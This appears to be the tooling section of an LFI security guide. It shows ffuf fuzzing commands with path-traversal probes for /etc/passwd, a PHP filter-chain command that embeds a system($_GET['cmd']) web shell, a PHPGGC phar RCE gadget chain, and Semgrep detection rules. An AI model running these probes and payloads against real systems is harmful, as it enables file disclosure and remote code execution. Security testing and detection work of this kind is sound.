Tooling

# The workhorse. Everything below is about calibrating what "different"
# means, because that is the entire difficulty.

# 1. Filter out the baseline. Send a nonsense value first, note the response
#    size, and exclude it — otherwise every result is a false positive.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
     -w lfi-payloads.txt -fs 4242

# 2. Auto-calibration does the same thing without you measuring by hand.
#    -ac learns the baseline from random inputs; -acc adds specific ones.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
     -w lfi-payloads.txt -ac

# 3. Find the depth. Two wordlists: one of ../ repetitions, one of targets.
ffuf -u 'https://target.example/index.php?page=W1W2' \
     -w depths.txt:W1 -w files.txt:W2 -ac -mode clusterbomb

# 4. Find the parameter in the first place.
ffuf -u 'https://target.example/index.php?FUZZ=../../../../etc/passwd' \
     -w burp-parameter-names.txt -ac

# 5. Match on content rather than size when the page is dynamic — far more
#    reliable than -fs on anything with a timestamp or a CSRF token in it.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
     -w lfi-payloads.txt -mr 'root:x:0:0'

# 6. Authenticated, from a saved request. Put FUZZ anywhere in the file.
ffuf -request req.txt -request-proto https -w lfi-payloads.txt -ac

# php_filter_chain_generator — the reference implementation of the filter
# chain technique. This one IS worth having; the chain is not something to
# build by hand.
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
# Or use /filter-chain on this site.

# wrapwrap — prepends chosen bytes to a file the wrapper reads, rather than
# synthesising a whole file. Use when the target parses what it reads.
git clone https://github.com/ambionics/wrapwrap

# PHPGGC — gadget chains for phar:// deserialization. Essential for that
# path; useless for anything else.
git clone https://github.com/ambionics/phpggc
./phpggc -l                                   # what chains exist
./phpggc Monolog/RCE1 system id -p phar -o evil.phar

# LFISuite and similar all-in-one LFI exploiters are largely unmaintained
# and encode the dead techniques above. Mentioned because you will find
# them recommended; not recommended here.

# Semgrep has decent built-in rules for this class across languages.
semgrep --config 'p/security-audit' .
semgrep --config 'p/owasp-top-ten' .

# A targeted rule beats the generic packs — the pattern is simple and the
# generic rules miss framework-specific sinks.
cat > lfi.yml <<'EOF'
rules:
  - id: php-dynamic-include
    languages: [php]
    severity: ERROR
    message: >-
      include/require with a request-derived path. Map the parameter through
      an allowlist instead.
    patterns:
      - pattern-either:
          - pattern: include($X);
          - pattern: include_once($X);
          - pattern: require($X);
          - pattern: require_once($X);
      - metavariable-pattern:
          metavariable: $X
          patterns:
            - pattern-either:
                - pattern: $_GET[...]
                - pattern: $_POST[...]
                - pattern: $_REQUEST[...]
                - pattern: $_COOKIE[...]
EOF
semgrep --config lfi.yml .

# Per-language greps are in each runtime guide — see /guide/php-prevention
# and its siblings.